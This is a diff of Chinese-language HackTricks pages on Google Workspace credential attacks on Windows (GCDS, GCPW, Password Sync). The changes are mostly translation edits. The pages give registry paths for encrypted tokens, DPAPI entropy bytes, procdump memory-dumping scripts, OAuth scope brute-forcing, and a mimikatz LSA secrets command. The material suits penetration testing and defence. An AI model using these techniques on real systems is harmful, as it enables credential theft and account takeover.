@@ -20,11 +20,11 @@
### GCDS - 磁盘令牌和AD凭据
二进制文件`config-manager.exe`主要的GCDS二进制文件带有GUI)将默认在**`C:\Program Files\Google Cloud Directory Sync`**文件夹中的**`Untitled-1.xml`**文件中存储配置的活动目录凭据、刷新令牌和访问权限。尽管它也可以保存在用户的`Documents`中或**任何其他文件夹**。
二进制文件`config-manager.exe`主要的GCDS GUI二进制文件)将默认在**`C:\Program Files\Google Cloud Directory Sync`**文件夹中的**`Untitled-1.xml`**文件中存储配置的活动目录凭据、刷新令牌和访问权限。尽管它也可以保存在用户的`Documents`中或**任何其他文件夹**。
此外,注册表**`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`**中的**`open.recent`**包含所有最近打开的配置文件xml的路径。因此可以**检查它以找到它们**。
此外,注册表**`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`**中的**`open.recent`**包含所有最近打开的配置文件xml的路径。因此可以**检查它以找到它们**。
文件中最有趣的信息是:
文件中最有趣的信息是:
```xml
[...]
<loginMethod>OAUTH2</loginMethod>
@@ -49,12 +49,12 @@
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
注意 **refresh** **token** 和用户的 **password** 是使用 **AES CBC** 通过随机生成的密钥和 IV 加密的,这些密钥和 IV 存储在 **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**(无论 **`prefs`** Java 库将偏好设置存储在哪里),在字符串键 **`/Encryption/Policy/V2.iv`** 和 **`/Encryption/Policy/V2.key`**以 base64 格式存储。
注意 **refresh** **token** 和用户的 **password** 是使用 **AES CBC** 加密的,使用随机生成的密钥和 IV 存储在 **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**(无论 **`prefs`** Java 库将偏好设置存储在哪里)中的字符串键 **`/Encryption/Policy/V2.iv`** 和 **`/Encryption/Policy/V2.key`**以 base64 格式存储。
<details>
<summary>Powershell 脚本用于解密 refresh token 和 password</summary>
```powershell
<summary>用于解密 refresh token 和 password 的 Powershell 脚本</summary>
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -156,13 +156,13 @@ Write-Host "Decrypted Password: $decryptedPassword"
### GCDS - 从内存中转储令牌
与 GCPW 一样,可以转储 `config-manager.exe` 进程的内存(这是 GCDS 主二进制文件的 GUI 名称),您将能够找到刷新和访问令牌(如果它们已经生成)。\
与 GCPW 一样,可以转储 `config-manager.exe` 进程的内存(这是 GCDS 主二进制文件的名称,带有 GUI您将能够找到刷新和访问令牌如果它们已经生成。\
我想您也可以找到配置的 AD 凭据。
<details>
<summary>转储 config-manager.exe 进程并搜索令牌</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -248,15 +248,15 @@ https://www.googleapis.com/oauth2/v4/token
### GCDS - 范围
> [!NOTE]
> 请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求 **由您生成访问令牌的应用程序支持的范围**。
> 请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求**由您生成访问令牌的应用程序支持的范围**。
>
> 此外,刷新令牌在每个应用程序中都无效。
默认情况下GCSD 作为用户不会访问所有可能的 OAuth 范围,因此使用以下脚本,我们可以找到可以与 `refresh_token` 一起使用以生成 `access_token` 的范围:
默认情况下GCSD不会以用户身份访问所有可能的OAuth范围因此使用以下脚本我们可以找到可以与`refresh_token`一起使用以生成`access_token`的范围:
<details>
<summary>Bash 脚本以暴力破解范围</summary>
<summary>用于暴力破解范围的Bash脚本</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> 由于**刷新令牌的范围不足**,无法新用户予超级管理员角色。
> 由于**刷新令牌没有足够的范围**,无法新用户予超级管理员角色。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## 基本信息
这是 Google Workspaces 提供的单点登录,用户可以使用 **他们的 Workspace 凭据** 登录他们的 Windows PC。此外这将会在 PC 的某些地方存储访问 Google Workspace 的令牌。
这是 Google Workspaces 提供的单点登录,用户可以使用 **他们的 Workspace 凭据** 登录 Windows PC。此外这将会在 PC 的某些地方存储访问 Google Workspace 的令牌。
> [!TIP]
> 请注意 [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) 能够检测 **GCPW**,获取有关配置的信息 **甚至令牌**。
@@ -27,8 +27,6 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
新行已添加以提高可读性。
> [!NOTE]
> 通过在PC上安装`Proxifier`,用`cmd.exe`覆盖`utilman.exe`二进制文件并在Windows登录页面执行**辅助功能**,可以执行**CMD**,从中可以**启动和配置Proxifier**从而实现MitM。\
> 不要忘记在`Proxifier`中**阻止QUICK UDP**流量以便降级为TCP通信这样你就可以看到它。
@@ -40,7 +38,7 @@ scope=https://www.google.com/accounts/OAuthLogin
### GCPW - 指纹
可以通过检查以下进程是否存在或以下注册表键是否存在来检查设备上是否安装了GCPW
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -66,10 +64,10 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
```
**`HKCU:\SOFTWARE\Google\Accounts`** 中,可以访问用户的电子邮件和加密的 **refresh token**,如果用户最近登录过。
**`HKLM:\SOFTWARE\Google\GCPW\Users`** 中,可以在键 `domains_allowed` 中找到允许登录的 **domains**,在子键中可以找到用户的信息,如电子邮件、头像、用户名、令牌生命周期、令牌句柄等。
**`HKLM:\SOFTWARE\Google\GCPW\Users`** 中,可以在键 `domains_allowed` 中找到允许登录的 **domains**,在子键中可以找到有关用户的信息,如电子邮件、头像、用户名、令牌生命周期、令牌句柄等。
> [!NOTE]
> 令牌句柄是一个以 `eth.` 开头的令牌,可以通过请求提取一些信息,如
> 令牌句柄是以 `eth.` 开头的令牌,可以通过如下请求提取一些信息:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -82,7 +80,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
> }
> ```
>
> 可以通过请求找到访问令牌的令牌句柄,如
> 可以通过如下请求找到访问令牌的令牌句柄:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -106,12 +104,12 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
### GCPW - 注册表刷新令牌
在注册表 **`HKCU:\SOFTWARE\Google\Accounts`** 中,可能会找到一些带有加密的 **`refresh_token`** 的户。方法 **`ProtectedData.Unprotect`** 可以轻松解密它。
在注册表 **`HKCU:\SOFTWARE\Google\Accounts`** 中,可能会找到一些带有加密的 **`refresh_token`** 的户。方法 **`ProtectedData.Unprotect`** 可以轻松解密它。
<details>
<summary>获取 <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> 数据并解密 refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -174,7 +172,7 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
可以在[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)中找到一些**C#代码**,以解密的方式访问这些令牌。
可以在[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)中找到一些**C# 代码**,以解密的方式访问这些令牌。
此外,加密可以在此代码中找到:[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
@@ -182,12 +180,12 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
### GCPW - 从进程内存中转储令牌
以下脚本可用于**转储**每个**Chrome**进程,使用`procdump`提取**字符串**,然后**搜索**与**访问和刷新令牌**相关的字符串。如果Chrome连接到某个Google网站则某些**进程将会在内存中存储刷新和/或访问令牌!**
可以使用以下脚本**转储**每个**Chrome**进程,使用`procdump`提取**字符串**,然后**搜索**与**访问和刷新令牌**相关的字符串。如果Chrome连接到某个Google网站则某些**进程将会在内存中存储刷新和/或访问令牌!**
<details>
<summary>转储Chrome进程并搜索令牌</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,7 +260,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
我用 `gcpw_extension.exe` 尝试了同样的操作,但没有找到任何令牌。
出于某种原因,**一些提取的访问令牌将无效(尽管有些是有效的)**。我尝试了以下脚本逐个字符删除,以尝试从转储中获取有效令牌。它从未帮助我找到有效的令牌,但我想它可能有用:
出于某种原因,**一些提取的访问令牌将无效(尽管有些是有效的)**。我尝试了以下脚本逐个字符删除,以尝试从转储中获取有效令牌。它从未帮助我找到有效的令牌,但我想它可能有用:
<details>
@@ -312,11 +310,11 @@ https://www.googleapis.com/oauth2/v4/token
### GCPW - 范围
> [!NOTE]
> 请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求 **由您生成访问令牌的应用程序支持的范围**。
> 请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求 **生成访问令牌的应用程序支持的范围**。
>
> 此外,刷新令牌在每个应用程序中都无效。
默认情况下GCPW 作为用户不会访问所有可能的 OAuth 范围,因此使用以下脚本,我们可以找到可以与 `refresh_token` 一起使用以生成 `access_token` 的范围:
默认情况下GCPW 作为用户不会对每个可能的 OAuth 范围具有访问权限,因此使用以下脚本,我们可以找到可以与 `refresh_token` 一起使用以生成 `access_token` 的范围:
<details>
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
此外通过检查Chromium源代码可以[**找到这个文件**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24),该文件包含**其他范围**,可以假设**未出现在之前暴力破解的列表中**。因此,可以假设这些额外的范围:
此外通过检查Chromium源代码可以[**找到这个文件**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24),该文件包含**其他范围**,可以假设**在之前暴力破解的列表中没有出现**。因此,可以假设这些额外的范围:
<details>
@@ -468,13 +466,13 @@ https://www.googleapis.com/auth/wallet.chrome
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
然而,我尝试使用这个范围访问 gmail 或列出组,但没有成功,所以我不知道它还有多大用处。
然而,我尝试使用这个范围访问 gmail 或列出组,但没有成功,所以我不知道它现在还有多大用处。
**获取具有所有这些范围的访问令牌**
<details>
<summary>用于从 refresh_token 生成具有所有范围的访问令牌的 Bash 脚本</summary>
<summary>生成访问令牌的 Bash 脚本,使用 refresh_token 和所有范围</summary>
```bash
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
@@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -797,7 +795,7 @@ curl -X GET \
## GCPW - 恢复明文密码
要利用 GCPW 恢复密码的明文,可以使用 **mimikatz****LSASS** 转储加密密码:
要利用 GCPW 恢复密码的明文,可以使用 **mimikatz****LSASS** 转储加密密码:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
@@ -809,7 +807,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
<details>
<summary>根据访问令牌、加密密码和资源 ID 获取明文密码的脚本</summary>
<summary>脚本以获取给定访问令牌、加密密码和资源 ID 明文密码</summary>
```python
import requests
from base64 import b64decode
@@ -885,7 +883,7 @@ decrypt_password(access_token, lsa_secret)
```
</details>
在Chromium源代码中可以找到关键组件:
在Chromium源代码中可以找到关键组件
- API域 [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- API端点 [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)

View File

@@ -4,7 +4,7 @@
## 基本信息
这是 Google 提供的二进制文件和服务,用于**保持用户在 AD 和 Workspace 之间的密码同步**。每当用户在 AD 中更改密码时,它会被设置 Google。
这是 Google 提供的二进制文件和服务,用于**保持用户在 AD 和 Workspace 之间的密码同步**。每当用户在 AD 中更改密码时,它会被设置 Google。
它安装在 `C:\Program Files\Google\Password Sync`,您可以在此找到用于配置的二进制文件 `PasswordSync.exe` 和将继续运行的服务 `password_sync_service.exe`
@@ -13,8 +13,8 @@
要配置此二进制文件(和服务),需要**授予其对 Workspace 中超级管理员主体的访问权限**
- 通过 **OAuth** 登录 Google然后它会**在注册表中存储一个令牌(加密)**
- 仅在具有 GUI 的域控制器可用
- 提供一些来自 GCP 的**服务户凭据**json 文件),并具有**管理 Workspace 用户**的权限
- 仅在具有 GUI 的域控制器可用
- 提供一些来自 GCP 的**服务户凭据**json 文件),并具有**管理 Workspace 用户**的权限
- 这是个非常糟糕的主意,因为这些凭据永远不会过期,可能会被滥用
- 给予 SA 对 Workspace 的访问权限也是个非常糟糕的主意,因为 SA 可能在 GCP 中被攻破,从而可能转向 Workspace
- Google 要求在没有 GUI 的域控制中使用
@@ -25,22 +25,22 @@
### GPS - 从磁盘转储密码和令牌
> [!TIP]
> 请注意 [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) 能够检测到 **GPS**,获取有关配置的信息,**甚至解密密码和令牌**。
> 请注意 [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) 能够检测到 **GPS**,获取有关配置的信息,甚至**解密密码和令牌**。
在文件 **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** 中,可以找到部分配置,例如配置的 AD 的 **`baseDN`** 和正在使用的 **`username`**。
在文件 **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** 中,可以找到部分配置,例如配置的 AD 的 **`baseDN`** 和正在使用的凭据的 **`username`**。
在注册表 **`HKLM\Software\Google\Google Apps Password Sync`** 中,可以找到 AD 用户的 **加密刷新令牌****加密密码**(如果有)。此外,如果使用的是某些 **SA 凭据**,也可以在该注册表地址中找到这些加密的凭据。该注册表中的 **值** 仅对 **管理员** 可访问。
加密的 **密码**(如果有)**`ADPassword`** 中,并使用 **`CryptProtectData`** API 进行加密。要解密它,您需要与配置密码同步的用户相同,并在使用 **`CryptUnprotectData`** 时使用此 **熵** `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
加密的 **密码**(如果有)位于**`ADPassword`** 中,并使用 **`CryptProtectData`** API 进行加密。要解密它,您需要与配置密码同步的用户相同,并在使用 **`CryptUnprotectData`** 时使用此 **熵**`byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
加密的令牌(如果有)**`AuthToken`** 中,并使用 **`CryptProtectData`** API 进行加密。要解密它,您需要与配置密码同步的用户相同,并在使用 **`CryptUnprotectData`** 时使用此 **熵** `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
加密的令牌(如果有)位于**`AuthToken`** 中,并使用 **`CryptProtectData`** API 进行加密。要解密它,您需要与配置密码同步的用户相同,并在使用 **`CryptUnprotectData`** 时使用此 **熵**`byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
此外,它还使用字典 **`0123456789abcdefghijklmnopqrstv`** 进行 base32hex 编码。
熵值是通过使用该工具找到的。它被配置为监控对 **`CryptUnprotectData`** 和 **`CryptProtectData`** 的调用,然后该工具用于启动和监控 `PasswordSync.exe`,该工具将在开始时解密配置的密码和身份验证令牌,并将**显示用于**这两种情况的熵值:
熵值是通过使用该工具找到的。它被配置为监控对 **`CryptUnprotectData`** 和 **`CryptProtectData`** 的调用,然后该工具被用来启动和监控 `PasswordSync.exe`,该工具将在开始时解密配置的密码和身份验证令牌,并将**显示用于**这两种情况的熵值:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
请注意,也可以在对这些 API 的调用的输入或输出中查看 **解密** 值(以防 Winpeas 在某个时候停止工作)。
请注意,也可以在对这些 API 的调用的输入或输出中查看**解密**值(以防 Winpeas 在某个时候停止工作)。
如果密码同步是**使用 SA 凭据配置的**,它也将存储在注册表 **`HKLM\Software\Google\Google Apps Password Sync`** 中的键内。
@@ -52,7 +52,7 @@
<details>
<summary>转储 <code>PasswordSync.exe</code> 和 <code>password_sync_service.exe</code> 进程并搜索令牌</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -127,7 +127,7 @@ Write-Output ""
```
</details>
### GPS - 刷新令牌生成访问令牌
### GPS - 使用刷新令牌生成访问令牌
使用刷新令牌可以使用它以及以下命令中指定的客户端ID和客户端密钥生成访问令牌
```bash
@@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes
> [!NOTE]
> 请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求 **由您生成访问令牌的应用程序支持的范围**。
> 请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求**由您生成访问令牌的应用程序支持的范围**。
>
> 此外,刷新令牌在每个应用程序中都无效。
默认情况下GPS不会以用户身份访问所有可能的OAuth范围因此使用以下脚本,我们可以找到可以与 `refresh_token` 一起使用以生成 `access_token` 的范围:
默认情况下GPS不会以用户身份访问所有可能的OAuth范围因此我们可以使用以下脚本找到可以与`refresh_token`一起使用以生成`access_token`的范围:
<details>
@@ -176,7 +176,7 @@ rm /tmp/valid_scopes.txt
```
https://www.googleapis.com/auth/admin.directory.user
```
如果不指明任何范围,您将获得相同结果。
这是与您不指明任何范围获得相同结果。
> [!CAUTION]
> 使用此范围,您可以**修改现有用户的密码以提升权限**。